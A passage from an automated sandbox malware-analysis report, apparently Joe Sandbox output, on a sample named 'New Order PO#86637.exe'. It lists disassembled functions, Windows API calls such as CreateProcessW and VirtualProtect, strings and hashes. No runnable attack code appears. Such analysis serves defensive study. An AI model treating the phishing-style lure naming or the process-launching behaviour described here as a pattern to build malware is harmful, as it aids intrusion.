Part of subcall function 00410120: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\New Order PO#86637.exe,0040F545,C:\Users\user\Desktop\New Order PO#86637.exe,004A90E8,C:\Users\user\Desktop\New Order PO#86637.exe,?,0040F545), ref: 0041013C

Part of subcall function 004102B0: SHGetMalloc.SHELL32(0040F54C), ref: 004102BD
Part of subcall function 004102B0: SHGetDesktopFolder.SHELL32(?,004A90E8), ref: 004102D2
Part of subcall function 004102B0: _wcsncpy.LIBCMT ref: 004102ED
Part of subcall function 004102B0: SHGetPathFromIDListW.SHELL32(?,?), ref: 00410327
Part of subcall function 004102B0: _wcsncpy.LIBCMT ref: 00410340

Part of subcall function 00410190: GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 004101AB

Strings

X, xrefs: 004295E0
pWH, xrefs: 004295E7

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: NamePath$Full_wcsncpy$DesktopFileFolderFromListMallocOpen
String ID: X$pWH
API String ID: 85490731-941433119
Opcode ID: 1b62eedeb2ba23f3a12794f4d72c3fd3ac9c0abd578206ca8986e50026ca9cbc
Instruction ID: b6f0e4d7e30e2857a1e9cc165fafff24640ac0dd2e9829c062eaf90218724cbe
Opcode Fuzzy Hash: 1b62eedeb2ba23f3a12794f4d72c3fd3ac9c0abd578206ca8986e50026ca9cbc
Instruction Fuzzy Hash: 1F118AB0A00244ABDB11EFD9DC457DEBBF95F45304F14842AE504AB392D7FD08498BA9

Function 00401B10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00401B11

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

_memmove.LIBCMT ref: 00401B57

Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411626
Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411640
Part of subcall function 004115D7: __CxxThrowException@8.LIBCMT ref: 00411651

Strings

@EXITCODE, xrefs: 00401B10, 00401B53

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw_malloc_memmove_wcslen
String ID: @EXITCODE
API String ID: 2734553683-3436989551
Opcode ID: b6d17f11840b334af4eb2c0dc4703dd6ec7fe6b5974f9b569570c14fa5f7c58b
Instruction ID: 16ac7666fc6b8d0cd4c8082de1062d74cbdf630d8e5b0a9ec9a55ac2b86b5c72
Opcode Fuzzy Hash: b6d17f11840b334af4eb2c0dc4703dd6ec7fe6b5974f9b569570c14fa5f7c58b
Instruction Fuzzy Hash: D5F0CDF2B00641AFD720DB36DC02B6775E49B84308F04883EA24BC6795FA7DE4828B14

Function 0420A088 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 0420A0CD
ExitProcess.KERNEL32(00000000), ref: 0420A0EC

Strings

D, xrefs: 0420A099

Memory Dump Source

Source File: 00000000.00000002.2085910574.0000000004209000.00000040.00000020.00020000.00000000.sdmp, Offset: 04209000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4209000_New Order PO#86637.jbxd

Similarity

API ID: Process$CreateExit
String ID: D
API String ID: 126409537-2746444292
Opcode ID: 145b7a1cfb31929a6d02ccf2d0a45045f2bdb13625618a76059d23da88a780f4
Instruction ID: 79091a6e2e2a5ed9ba2097dcc18b11dcd1e7a6e9297e00064157fe49452f90fe
Opcode Fuzzy Hash: 145b7a1cfb31929a6d02ccf2d0a45045f2bdb13625618a76059d23da88a780f4
Instruction Fuzzy Hash: 30F0E171A5024CABDB60DFE0CC49FEE77B9BF04701F40C509FA1A9A181DA75A5089751

Function 00410100 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\New Order PO#86637.exe, xrefs: 00410107
>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 0042804F

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _strcat
String ID: >>>AUTOIT NO CMDEXECUTE<<<$C:\Users\user\Desktop\New Order PO#86637.exe
API String ID: 1765576173-4004636104
Opcode ID: 9cf7010eca5106026e95a37c4c4993c7a48cbbbd0f5b26026c251fe95f3d7589
Instruction ID: e645463cc19bd0c1a49bcabea2d674544a6c2f3c5714d62cb3526a870e150300
Opcode Fuzzy Hash: 9cf7010eca5106026e95a37c4c4993c7a48cbbbd0f5b26026c251fe95f3d7589
Instruction Fuzzy Hash: FBF090B390020D768B00F6E6D942CEFB37C9985704B5006AFA905B3152EA79EA0987B6

Function 00475077 Relevance: 4.9, APIs: 3, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7af5e299b258df5e9c9a2551ed0e7af6e1d4c875de24c7fdf76d77545964eae0
Instruction ID: 8c99b1ef877cebc7a747b8a97cc81d83a07aa3771b44d3adc2ea031a64448d8d
Opcode Fuzzy Hash: 7af5e299b258df5e9c9a2551ed0e7af6e1d4c875de24c7fdf76d77545964eae0
Instruction Fuzzy Hash: CEF18C716043019FC700DF29C884A5AB7E5FF88318F14C95EF9998B392D7B9E945CB86

Function 00414ABA Relevance: 4.7, APIs: 3, Instructions: 160COMMONLIBRARYCODE

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 00414B86
__read.LIBCMT ref: 00414BE9
__filbuf.LIBCMT ref: 00414C05

Part of subcall function 00417F77: __getptd_noexit.LIBCMT ref: 00417F77

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __filbuf__getptd_noexit__read_memcpy_s
String ID:
API String ID: 1794320848-0
Opcode ID: b5af9ce9d8135965a8c163c1359f1833c669f36246c0dfec509ee2915f8c5eb0
Instruction ID: 2f36134af58cf06217a4581a57f76d3547d7b7b98d7afe96428f3577b7504850
Opcode Fuzzy Hash: b5af9ce9d8135965a8c163c1359f1833c669f36246c0dfec509ee2915f8c5eb0
Instruction Fuzzy Hash: 6C51E631A01208DBCB249F69C9446DFB7B1AFC0364F25826BE43597290E378EED1CB59

Function 00475300 Relevance: 4.6, APIs: 3, Instructions: 141COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00000067,000000FF), ref: 004753C7
TerminateProcess.KERNEL32(00000000), ref: 004753CE

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: aaa6002d905a33e4c3ceade7f85f71e7f986a1c67485104df61a1a5e3f63762c
Instruction ID: dddcdfafc98398d1c0f0a19edd80e49036cf45bbfca44c020541658de01b6296
Opcode Fuzzy Hash: aaa6002d905a33e4c3ceade7f85f71e7f986a1c67485104df61a1a5e3f63762c
Instruction Fuzzy Hash: 2C519D71604301AFC710DF65C881BABB7E5EF88308F14891EF9598B382D7B9D945CB96

Function 0043213D Relevance: 4.5, APIs: 3, Instructions: 38COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043214B

Part of subcall function 004135BB: __FF_MSGBANNER.LIBCMT ref: 004135D4
Part of subcall function 004135BB: __NMSG_WRITE.LIBCMT ref: 004135DB
Part of subcall function 004135BB: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,004115F6,?,00401BAC,?,?,?), ref: 00413600

_malloc.LIBCMT ref: 0043215D
_malloc.LIBCMT ref: 0043216F

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _malloc$AllocateHeap
String ID:
API String ID: 680241177-0
Opcode ID: ab61ccc74db86e6fcdeb904a32b1d9569ed7ac6f88b96914968634a5dd1a0039
Instruction ID: dac51259f70ca5acf95ac1b1a30df86389447b5c3122b5fc7e5239b6c816f1c7
Opcode Fuzzy Hash: ab61ccc74db86e6fcdeb904a32b1d9569ed7ac6f88b96914968634a5dd1a0039
Instruction Fuzzy Hash: A0F0E273200B142AD2206A6A6DC1BE7B39ADBD4765F00403FFB058A206DAE9988542EC

Function 00467897 Relevance: 3.2, APIs: 2, Instructions: 170COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 004678F7

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

GetLastError.KERNEL32(00000000,00000000), ref: 004679C7

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ErrorLast__wsplitpath_malloc
String ID:
API String ID: 4163294574-0
Opcode ID: b7e2b2e067b321cb14cd8dd870a284e502ce9d37bff932640fd458450c7e1011
Instruction ID: 5ded281afda408fdcd401bf2365ceabb828b89a129c607e264fb1023d06c7d2e
Opcode Fuzzy Hash: b7e2b2e067b321cb14cd8dd870a284e502ce9d37bff932640fd458450c7e1011
Instruction Fuzzy Hash: FB5126712083018BD710EF75C881A5BB3E5AF84318F044A6EF9559B381EB39ED09CB97

Function 0040F760 Relevance: 3.1, APIs: 2, Instructions: 92COMMON

Download Yara Rule

APIs

Part of subcall function 0040F6F0: _wcslen.LIBCMT ref: 0040F705
Part of subcall function 0040F6F0: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,00454478,?,00000000,?,?), ref: 0040F71E
Part of subcall function 0040F6F0: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,00000000,?,?,?,?), ref: 0040F747

_strcat.LIBCMT ref: 0040F786

Part of subcall function 0040F850: _strlen.LIBCMT ref: 0040F858
Part of subcall function 0040F850: _sprintf.LIBCMT ref: 0040F9AE

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ByteCharMultiWide$_sprintf_strcat_strlen_wcslen
String ID:
API String ID: 3199840319-0
Opcode ID: 49a3294527d5b305cfbd6c685c74412098d504eb7a2552fd7b1e5b305baf6987
Instruction ID: aac9d08775c2cbfae45fd546c2dd5c585d34072f6b495fb7426f91ad36779b1c
Opcode Fuzzy Hash: 49a3294527d5b305cfbd6c685c74412098d504eb7a2552fd7b1e5b305baf6987
Instruction Fuzzy Hash: 7B2148B260825027D724EF3A9C82A6EF2D4AF85304F14893FF555C22C2F738D554879A

Function 0040D6B0 Relevance: 3.1, APIs: 2, Instructions: 74COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 0040D779
FreeLibrary.KERNEL32(?), ref: 0040D78E

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: FreeInfoLibraryParametersSystem
String ID:
API String ID: 3403648963-0
Opcode ID: 1bcd72a0122d59f5f1ef4a441970033eb21b1c6439336685a4482ae7c853bb59
Instruction ID: 5fcdf068f8d8459ddaa7ea8882eac3df2259875866eaebb33036fc29c92b3e87
Opcode Fuzzy Hash: 1bcd72a0122d59f5f1ef4a441970033eb21b1c6439336685a4482ae7c853bb59
Instruction Fuzzy Hash: BB2184719083019FC300DF5ADC8190ABBE4FB84358F40493FF988A7392D735D9458B9A

Function 0040F110 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,0040DE74,?,00000001,?,00403423,?), ref: 0040F13A
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,0040DE74,?,00000001,?,00403423,?), ref: 00426326

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 01c8104855b6be3cf9f3f51c38ffad3c9237c0860841684a852cd2675ef3d23e
Instruction ID: 8a88c5525f76e0b0fff62cf48ad84dc7055e673dbb4ccc29545257d8619b8f55
Opcode Fuzzy Hash: 01c8104855b6be3cf9f3f51c38ffad3c9237c0860841684a852cd2675ef3d23e
Instruction Fuzzy Hash: 16011D70784310BAF2305A68DD0BF5266546B45B24F20473ABBE5BE2D1D2F86885870C

Function 00414A46 Relevance: 3.0, APIs: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00417F77: __getptd_noexit.LIBCMT ref: 00417F77

__lock_file.LIBCMT ref: 00414A8D

Part of subcall function 00415471: __lock.LIBCMT ref: 00415496

__fclose_nolock.LIBCMT ref: 00414A98

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: a5ee4eb6f63f5c531cf15d6f0d52328148e0080a1a420ce895dcb566fcff73ac
Instruction ID: d9443fdd3ee0a3059f5d17ec53abbfe2105cc8a5d10ddad395bff0ae1f283336
Opcode Fuzzy Hash: a5ee4eb6f63f5c531cf15d6f0d52328148e0080a1a420ce895dcb566fcff73ac
Instruction Fuzzy Hash: EEF0F6308417019AD710AB7588027EF37A09F41379F22864FA061961D1C73C85C29B5D

Function 00414FE2 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00415012
__ftell_nolock.LIBCMT ref: 0041501F

Part of subcall function 00417F77: __getptd_noexit.LIBCMT ref: 00417F77

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __ftell_nolock__getptd_noexit__lock_file
String ID:
API String ID: 2999321469-0
Opcode ID: 5d7fd30e9bb4e6974f03027405c635b91b5e55acacb14f372dcacdb3af77c648
Instruction ID: e3e7bc223609ce985a1750c66bb322057640979a4505571362f253753ce4bf01
Opcode Fuzzy Hash: 5d7fd30e9bb4e6974f03027405c635b91b5e55acacb14f372dcacdb3af77c648
Instruction Fuzzy Hash: 64F03030900605EADB107FB5DD027EE3B70AF443A8F20825BB0259A0E1DB7C8AC29A59

Function 0420A0F8 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

APIs

Part of subcall function 04209968: GetFileAttributesW.KERNELBASE(?), ref: 04209973

CreateDirectoryW.KERNELBASE(?,00000000), ref: 0420A227

Memory Dump Source

Source File: 00000000.00000002.2085910574.0000000004209000.00000040.00000020.00020000.00000000.sdmp, Offset: 04209000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4209000_New Order PO#86637.jbxd

Similarity

API ID: AttributesCreateDirectoryFile
String ID:
API String ID: 3401506121-0
Opcode ID: 167712b6dc10c101621f85d1ffa6e81ed773490ba9fcaaeac8f5aea481633851
Instruction ID: 5d255c1751910a1b214800631d195203ea97289354571c21a4c6be67b6c2d6f2
Opcode Fuzzy Hash: 167712b6dc10c101621f85d1ffa6e81ed773490ba9fcaaeac8f5aea481633851
Instruction Fuzzy Hash: 86517531A2120D97EF14EFA0C944BEF7379EF58700F4085A9A509E71C0EB79AB45CBA5

Function 00402F00 Relevance: 1.6, APIs: 1, Instructions: 104COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00402F66

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 224a1bccd0668171228bffd00b4e167e84225026459a60d9317a1c29c8a59c26
Instruction ID: 6397ebbfaf442e519c955e074037b65107783079284990db5ef0c3dd021860ed
Opcode Fuzzy Hash: 224a1bccd0668171228bffd00b4e167e84225026459a60d9317a1c29c8a59c26
Instruction Fuzzy Hash: 36317371E00209EBDF009F52E9866AEFBF4FF40740F2189BED855E2650E7389990D759

Function 00402780 Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0040285D

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 8b2818c8434b9a070bb7a9b9dd55d4aa8d61190f7c46d4f62081b3e0e63eee4f
Instruction ID: 412edbf2df7bf8c64f36b821a583ca4e96a0f18e0b9aed18a790d0e499aeb9a1
Opcode Fuzzy Hash: 8b2818c8434b9a070bb7a9b9dd55d4aa8d61190f7c46d4f62081b3e0e63eee4f
Instruction Fuzzy Hash: 60319CB9600A21EFC714DF19C580A62F7E0FF08310B14C57ADA89CB795E774E892CB99

Function 00410CFC Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00410DAB

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

